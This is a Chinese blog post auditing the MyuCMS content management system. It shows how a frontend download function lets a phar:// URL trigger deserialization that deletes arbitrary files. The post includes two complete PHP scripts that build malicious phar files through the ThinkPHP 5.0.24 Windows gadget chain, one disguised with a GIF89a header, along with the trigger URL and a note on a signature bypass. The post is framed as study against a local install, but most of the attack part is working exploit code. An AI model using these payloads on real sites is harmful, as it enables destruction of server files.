0x01:介绍
在先知上看到一篇文章
https://xz.aliyun.com/t/7018
文章提到前台文件下载触发了反序列化,从而导致任意文件删除
没有写详情,现在前台漏洞修了这个反序列化应该也用不了,但是可以作为一个复习tp反序列化利用链的方式
0x02:审计流程
下载到代码,发现在bbs/index.php中
跟进download函数
is_file,会触发反序列化,至于那些函数会触发,可以参考
https://paper.seebug.org/680/
当时看到任意文件删除,想到的就tp5.0.24的反序列利用链,在windows.php中就有这个函数
跟进remove
说明我们利用phar触发__destruct()就可以触发这个任意文件删除了,不过也不确定是否是作者说的利用链
构造phar文件
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace {
//ini_set("phar.readonly", 0);
$files = "/Applications/MAMP/htdocs/orderBy1.php";
$payload = new think\process\pipes\Windows($files);
@unlink('test.phar');
$phar = new Phar('test.phar'); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'test'); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
然后通过:
http://localhost:8888/MyuCMS1/index.php/bbs/index/download?url=phar://test.phar&name=1.txt&local=1
去触发反序列化,从而实现任意文件删除
但是测试的时候发现无论如果是不成功的
会直接跑出exception,一直卡在这里
0x03:绕过
于是在这里卡了很长时间,去看代码
发现这里直接exception了,一开始以为这里是没事可以去触发反序列化,一直以为构造链的问题。没去触发反序列化,然后本地测试了一下链,发现没问题。。
于是去问了一个朋友,给我发了一篇文章
https://eastjun.top/2021/11/24/php_unserialize_tricks/
提到了这个绕过方式,坑点就是用他的脚本必须安装他的反序列去生成phar,不然会由于签名问题无法成功
构造poc
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace {
//ini_set("phar.readonly", 0);
$files = "/Applications/MAMP/htdocs/MyuCMS1/1.py";
$payload = new think\process\pipes\Windows($files);
@unlink('test.phar');
$p = new Phar("eastjun.phar",0);
$p->startBuffering();
$p->setMetadata($payload);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("text.txt","successful!");
$p->stopBuffering();
}
?>
然后使用这个师傅的脚本
重新生成一个phar
发送payload就可以攻击成功了